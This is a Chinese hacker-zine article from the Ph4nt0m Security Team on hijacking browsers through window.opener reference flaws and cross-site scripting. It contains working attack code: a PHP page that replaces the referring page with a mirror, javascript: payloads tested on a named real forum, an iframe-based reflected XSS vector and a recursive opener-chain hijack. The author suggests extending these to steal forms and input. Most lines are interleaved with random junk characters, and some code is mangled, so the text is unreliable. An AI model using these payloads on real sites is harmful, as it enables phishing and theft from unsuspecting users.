==Ph4nt0m Security Team==. G+ J2 P! d. B
# Z) L5 z, u/ p0 I0 x
Issue 0x03, Phile #0x05 of 0x07$ o8 ~9 M1 _( |2 N1 j+ P+ K' v" J
, m" [6 a: X# A3 y1 C( _
2 H7 _+ |. |9 x4 x4 {7 R|=---------------------------------------------------------------------------=|
; s! _% n0 ?6 r|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
" b* E- N! J) C|=---------------------------------------------------------------------------=|+ z1 {, i4 }3 w% o+ j
|=---------------------------------------------------------------------------=|5 N$ L7 w5 J* B5 |" L
|=------------------------=[ By rayh4c ]=---------------------------=|
' j1 n% w9 g+ R9 o|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
" r* d8 X2 A; T/ }- x( g% ?|=---------------------------------------------------------------------------=|
5 P' T' }7 x. |( H( }3 B$ L% N. z" u% E5 s5 ~3 X
1 Q1 k' L2 h& X[目录]
3 i% [( _' J5 C2 p
% A b1 r( R' m- h0 T% M1 H1. 前言, O9 Z) z6 I! F/ ~' w: A
2. 同源策略简叙8 [: }! ]5 m. h1 ^" g
3. 理解window对象的同源策略0 z. v; \% F' |3 F$ ~: z
4. 窗口引用功能中的同源策略漏洞- U' }2 M4 ]) U2 s# p
4.1 父窗口引用子窗口的同源策略问题# d$ @( K) G1 [
4.2 子窗口引用父窗口的同源策略问题
' O- }, x5 I8 ]( }( C+ Y9 r1 `" ]& [5. 利用窗口引用漏洞劫持浏览器
! o- g n9 k0 @; A2 M! I6. 利用XSS漏洞劫持浏览器( u& B% R& D" M; G9 t. t1 h. F5 @
6.1 正向跨窗口劫持+ g: M1 I% L: H4 l) l$ y# u8 P9 {
6.2 反向跨窗口劫持) [9 g; u5 ~4 p% P' K/ \
6.3 极度危险的跨框架窗口引用劫持
b5 f/ H" S% l& S# [ 6.4 极度危险的正反向跨窗口递归劫持7 C9 N; |' c% m4 s
6.5 完全控制浏览器8 \! X$ |) }* g( G
7. 后记% I5 N9 q, S! l$ z h; n) z/ @
8. 参考
1 ]9 @3 l" {/ e
4 `5 W. Y& i- {
+ g3 r! z6 J8 g) _一、前言% l! q' ^$ S3 F/ O- d* N
2 ~( y2 x. K! `2 R 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋6 A" p7 | i, n$ }" |
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
1 B; Y2 f) R, s劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被; o/ N7 h1 m7 v8 }) p, Z; h
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。: x0 P+ y; s. H) N
( h% p$ d* C- O6 q* {& O* X
! y& @( I( e* p2 R0 E二、同源策略简叙, w! ]" Z+ K% `" y/ g9 q4 f/ P5 a
- k, N& G" M0 Q! C, X( H 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以% l+ F% V$ ]9 I! b! Q4 z2 q* c( c
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
8 B' O( \* L( Z: K% f曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
1 y# K' Q- d; S9 i2 x- L7 i5 ]马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
4 {3 d9 O9 `: \) Y% X漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
1 B8 K3 u4 @ y: [" k3 n+ }. C: l& a0 y/ e2 M8 _9 J
0 o& H8 k; z, |# y) D! {
三、理解window对象的同源策略
6 J( u' ?/ t. ]$ r- G Y9 N1 x4 r- _; c8 O
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对; {* ] K4 m6 S! H- i1 z: U9 z
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
, ]3 h. n$ s; M8 X7 L
$ L5 M- H: n v--code-------------------------------------------------------------------------
( w5 s/ _: @# X; _# r# E<script language="javascript">
4 ^6 n' v' A0 Z2 p7 a7 X$ ifor(p in window) document.write(p+"<br>");
a, o: [5 p! P, `& U9 C3 _/ j</script>
4 o: F- q" t! k D0 m-------------------------------------------------------------------------------; d- E1 Z5 p5 w9 v, ]8 Y/ w' l. H
8 C+ x3 P) h- I% q/ A' w6 } 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
( j% T7 k. ^( ? _( P- q法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
$ E3 J( C5 p+ I% y7 a) |( z这些属性和方法就必须遵循同源策略。: r$ L' [/ T0 U& E; I' W3 r
: {4 M2 U1 u/ q! z, l( M 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那& p9 ~) O* i2 A$ k
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ f5 G ~! K8 _6 ~2 c, T2 P4 X2 _/ }
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这9 w- V# X! o2 v F. B& [
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; Y8 N, A9 I" c" Q3 j0 [值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
& [& }* ^6 x" v; U* t属性并没有被拒绝访问。; U: ?1 |) C& q" O8 P, X% u, q
5 ^) U7 H+ S) ^, S
--demo.html--------------------------------------------------------------------8 G: e: D5 i; l" O, V4 d
<script language="javascript">
) ~1 d$ D& [% C6 |0 n6 n5 N" Ufunction allPrpos(obj) {
* n& P% \; ]# a: l$ Y$ W+ ^ var props = "<table><tr><td>名称</td><td>值</td>";
" f: y" A, D7 h7 s) a# l for(var p in obj){
) b& H: g# a. x2 t0 T6 s6 w8 Z+ e if(typeof(obj[p])=="function"){
4 H1 q$ M5 \/ z. w3 j obj[p](); % B9 q8 G/ H! u3 N4 v9 m
}else{
- f! Z6 i L' h) k5 X try 9 u1 s2 p7 Z9 o5 y, v# t
{
/ c. y6 n8 q. l) g- R, J) g2 Y props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; + K# t% ?! j8 s3 Y- r* F. Z- t( V$ {
}
: w8 E+ s5 t- v8 k, {/ S) w3 ~ catch (ex)
/ x4 w! F' w2 B/ r7 `0 R6 Y- g' R {
! M+ L6 h+ N4 b, _: ]* ~ 2 T" x' D4 p% Q% q' M k3 ]: p
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
5 E2 t, J$ Z7 a/ f/ X }
6 I n/ k2 g" r8 t# N$ X3 B \& n , R( A8 ~( k6 K. H. ^2 m% X7 S
}
g2 W& j. {7 W1 e4 X+ T( B1 d2 w } 1 z( w2 I% _) m! T
M( ?6 R% M. m& J, Y1 j% x' z. { document.write(props+"</table>");
: a4 U% |; r( ]8 S}
* @/ L, ~$ I6 d5 u
( J0 O6 D) F+ P7 y; A* r" dfunction createWin() {' k7 I( K$ p+ U; d, \$ m
newWin = window.open ("http://www.google.com"); & f( A4 P" d" `
setTimeout(function(){allPrpos(newWin)},2000);
" J% P) y! i4 C9 {: k) `}
8 `- @5 |5 x, k3 U: `7 D
1 k% b; R* Q, I8 |5 K; {+ C$ h) a</script>
1 y ~- W( t: ? c! a8 t7 t& W ]5 z2 [
<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 V3 ]) R5 o# P
-------------------------------------------------------------------------------
5 a f$ v3 k9 P& x- L9 q x- T% U: K2 P# m4 Q* z
1 N9 L' c) D& a, ~
四、窗口引用功能中的同源策略漏洞# K& E q$ Z2 d! v# U$ D
6 X; z7 |. c! m3 M+ ?
4.1 父窗口引用子窗口的同源策略问题. y) p5 z: Y' O7 k0 }
, C0 G1 Q5 \9 Q$ @: `* M 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,' F+ i; b' m! ^. b
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道1 W' a$ m5 n& V+ y" t) u5 ?4 V
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进& @# k. b. W$ A( \* I9 K8 ?( M
行测试,会发现父窗口可以控制非同源子窗口location属性值。
, }: a/ [$ m, O2 Y n
& s9 [% D+ Q% X! W0 V* U--vul1.html--------------------------------------------------------------------
# d+ p3 I. {, M<script language="javascript">
" `4 v5 f1 \6 v( q/ bfunction createWin() {
# r9 v( z, U3 Y" Z/ z% [ newWin = window.open ("http://www.google.com"); ' h& i# m2 D6 @8 J5 }3 _* f9 p# p3 @
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 7 y) K* W. o2 q4 c: Q
} 5 @/ d# T+ g! l' ~+ \+ n& n
</script>. A1 n+ H9 o- ?7 q; }" s
. O( e* z3 V# e, U
<button onclick='createWin()'>创建一个非同源子窗口测试</button>: U* s0 v" |( Q* z1 u5 G3 Z( D% W
-------------------------------------------------------------------------------/ K8 {/ K# w! d
. z5 x/ }7 A* ~: U* u/ U" j* w; m% O0 b j- l7 n& Y
4.2 子窗口引用父窗口的同源策略问题/ c& Y/ [7 K/ L7 D" r) u
: V7 V2 U$ u4 e, ~6 @7 Y" E
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使. C" P. @6 U) c4 X8 w `4 v7 _
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们8 O( s( J8 F+ b/ N; I
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定1 o" _8 T8 W3 X% ?6 J
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
# _6 B' }+ C% U$ a+ Z: S* e2 D% }) f M9 J* L7 P2 p% x9 H
--code-------------------------------------------------------------------------) ~* I: o; x3 x) Q# I. n4 V
; }2 Z0 ?. o/ s) Z0 n+ Ajavascript:window.opener.location = "http://www.80sec.com";void(0);- l! E3 L6 S7 T0 A9 P
( _" d" L/ H" ^' s3 [; M& y
-------------------------------------------------------------------------------4 N* G# A, f2 } l! l0 V p L1 b
$ {. S$ n% K7 l5 t5 i# d4 Z! T7 {8 k2 z. r) o5 O: ^0 Q. U
五、利用窗口引用漏洞劫持浏览器
1 S3 I4 C: O) x. W6 v6 A z, c# c: Z, d* U# ^
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
* j. k" M, P) _$ G窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那0 |( e: j7 i, f; E9 C# M7 P3 P# T
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
2 W' o' z3 D. B& i5 ?2 z2 g. J6 y! h9 x
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产* y7 a% F$ `7 C( M6 g5 E# T
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或" K4 a* N6 V. R) Z H+ ]2 S2 A# C* m
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
. p! `. X6 F5 _后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
' z- T# N9 B, j会产生什么可怕的后果。
# G2 q% r, U% v& d' a. i$ P; ?
$ e* t! G8 T) y, ^- F) p+ u 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
" R4 _$ `0 E% D8 A8 {们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php# W" w! t! A: k% Q$ Q2 m" j
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
$ Z5 `3 Z5 s9 g# {% y! a# ?. K3 J候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
, V. X# q5 f; R$ v5 m以做更多的事情,所有的一切仅仅是因为点击了一个链接。
+ {! e% S1 I0 Y5 Y3 H& l8 m
% e: T1 ?+ F% v2 G4 f* z" R--hjk_ref.php------------------------------------------------------------------
t/ C' E/ D! F/ t<?php) s' O1 u1 d* `' g
if (array_key_exists("HTTP_REFERER", $_SERVER)) {& \6 p K! Z+ n( Y! a( h" A" H
$Url_Mirror = $_SERVER["HTTP_REFERER"];
# O( K" P# D0 h0 ?+ ~}
$ n. N" `/ h5 S. P% j% I- jif(isset ($_GET['ref'])) {
7 F+ H$ v. d9 a, p% a+ }echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
3 i, h3 v; ]8 f}
2 u; V6 r$ w$ g. |# X( C?>$ n9 ^1 t4 w$ a1 H0 ? A
5 L. p2 o% B% n! x; E' W5 z
<script language="javascript">
- V! g2 |: Q. P @, P( v1 z! ysetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
3 K( h4 G; o/ R) k; K. U5 n</script>8 ?, F5 F) m, [7 b, g% X' m
-------------------------------------------------------------------------------, p5 M/ s' X) c. r
: L: V% s# v" I1 M
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。& T r2 k' d; J. @* D0 [
+ ^4 z& g& N L5 N# m) Z) G
O# q* b" a4 [* R六、利用XSS漏洞劫持浏览器
) b, ? S% @. \; `
1 m! Z z$ {% C( H1 ] 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为: F! u- X# B+ h- d1 x8 A
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后7 A3 j0 v, y. L! R2 m$ C0 l5 d
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
# i0 M$ |: ?) g8 H/ p讨论跨站师的终极技巧:* i- y4 P6 J! j2 l9 W
; r4 r) g# J& e$ B% j
8 G! P7 u" |% x! N
6.1 正向跨窗口劫持
9 n! w- }: e n* `. Y
; _1 E5 G( r' f. T/ h7 ~ 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛1 t. ~' y8 c9 M/ e1 s+ T" x
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链/ K T. q3 S! S5 }: J# R
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
; O2 D6 r5 W" n7 D框脚本。 & @% x5 |- e9 F1 e8 @" J
7 R/ _+ V- W4 H4 N( C--hijack_open.js---------------------------------------------------------------. z/ V9 Q- B! j3 L0 `# P3 Y
) V- ^5 A3 S+ S0 m
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
5 M$ L2 u+ L8 h) ?% _
- g5 L5 X3 M, \5 z' q9 B-------------------------------------------------------------------------------
H* l$ h; ~, g7 O# J! G2 j" q3 ]' V5 ~/ c# ^: t( U
3 z$ c( I G b! L6.2 反向跨窗口劫持
5 R# M1 H' v8 K& w7 i% w- \
! T) T9 l% E7 o3 O# ]0 D 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
5 c5 n( m0 a. i; t% t) _5 P码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
% a+ M% Z' o: D( Z( D框脚本。
I" `1 V- s* f& Y4 @0 r* `/ ^/ S3 L$ L( a
--hijack_opener.js-------------------------------------------------------------6 `- X: a4 u3 q! v: Q6 d+ f! A
+ _0 X4 p' f1 r$ ~; g& Rjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);4 @6 K; c2 ]1 K4 l7 ?2 @
: ~( u p, N8 e# ]" Z-------------------------------------------------------------------------------
B" D7 P7 s5 j+ J
& P: Q1 A4 F( e! _' J% M+ i3 d, J7 b' R) y$ {4 F
6.3 极度危险的跨框架窗口引用劫持
* _" w: T# n5 F1 m# p4 N8 H6 e g' {% _
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
+ g& e. [! M0 h# o5 E0 V/ E6 a$ W可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就8 x9 P! T7 o! s1 V, q. Y) G
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
# R) S9 G1 f M4 R* U非持久型的XSS,如下:
8 Y: Y/ Q+ V/ |4 a
/ D3 E$ ]+ N1 @' B<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
c0 l4 U3 {" M% W3 g; N
$ D. T( X2 `) ^/ M 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
s0 v1 y6 @$ }: ]注入脚本。
/ C; @; J2 @$ f& w6 k! B
% p0 l( d1 o3 g; j& E--hijack_frame_opener.js-------------------------------------------------------6 E/ v- Z% E. t
<script>
* C, ]! I( C& G* m: Wwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
+ H! n# s5 F) }3 W! j4 R4 |7 O</script>4 M+ H6 W! o9 r0 G" X/ c
-------------------------------------------------------------------------------
9 d9 _0 |, U: ~7 z& h# B
: d5 c/ L0 n: _8 X9 x4 |. m$ h' \7 b, c: E* Y
6.4 极度危险的正反向跨窗口递归劫持
: V. k2 ~. k; o* [, N; m: _
; ~$ S% K- q) G1 h0 g luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window3 {3 _, f7 }: ^3 b$ ^# K
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
6 l1 G8 v! D" g3 F9 S7 J异常处理规避之间跨域页面的访问异常,代码如下:# y, h& M. v; q
7 L6 l5 j- ?5 T9 V* b7 b--code-------------------------------------------------------------------------
% H2 S3 V/ q& \( w0 @. a
, {! w' U1 p; tjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);3 q& G1 z3 ^* w) u3 R4 T
" s. U3 M. N9 s-------------------------------------------------------------------------------
* V* p! F) @( m! A$ N4 S4 J- R+ D6 `* C j. G$ |! w
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
5 V$ K- _) ]9 H5 v: ?1 l H: q B以劫持B域之前的A域页面,从而实现“隔空打击”。, O5 A" k$ {- ^5 [$ d/ _
3 F3 z' ?- X5 A' {: W8 Z1 J6 n$ x
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面# t7 \5 v& z) I0 x7 ~# [0 V6 O: ~$ b- D
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。% P1 |! y# w( L+ `
( ?: `8 w; y+ F/ k- M% }4 o
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。% [" z" [2 X, P3 L8 C @
' \/ |8 J# a: E- o& c, ^
7 M% y3 x, u: p: }% E6.5 完全控制浏览器
8 q+ L8 r) E- y7 o- g; R3 ^/ ~1 H# d4 p+ f. ?1 ?
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
" O6 `5 k; n" j- Z" G: l+ ~是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
' l- B" N. _5 l( U2 W0 o漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失( E+ ]) R3 W- b! L
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再/ P* c1 x+ }; s# }6 l
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站6 ]% e1 S$ B" L; A9 d5 k* ?2 ~
师的终极目标 - 完全控制浏览器。0 q5 `! M3 \% W+ y. J
' b3 s0 q9 ], b% C7 v8 l# z
; i" L# w/ A E$ E. C6 F# B& N
七、后记
h; ?3 v6 c" c& {; X+ [3 t0 p; |0 B! C8 |
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全; j, v! k( [8 C. m7 }
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予4 {0 C- J/ t" B+ K N3 D6 Q
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。3 w) H9 w$ c2 s' X% y
1 }9 i! Z% J$ K) W2 f' i( j0 K# h7 E( |) G/ `
八、参考
$ t8 S2 `) U; u6 [$ B9 {% ?) U, {- ]4 V2 c, g8 c/ U* [" l) p4 J
1. http://en.wikipedia.org/wiki/Same_origin_policy+ z8 ]" P% q7 \( @
2. http://code.google.com/p/browser ... licy_for_DOM_access1 |% S* O/ \( c% E
3. http://www.w3.org/TR/Window/
" \- k: D5 ~5 J* z% m4. http://www.80sec.com/release/browser-hijacking.txt
! u2 W: ]1 @- c$ `3 e3 l) s% Z5. http://www.80sec.com/all-browser-security-alert.html
- k. X( @) W. W: n7 ~6. http://www.80sec.com/ms08-058-attacks-google.html
2 N, X7 k7 c9 d3 x. ]# H, X1 J" `) R/ A0 i3 `+ S# F$ h
-EOF- |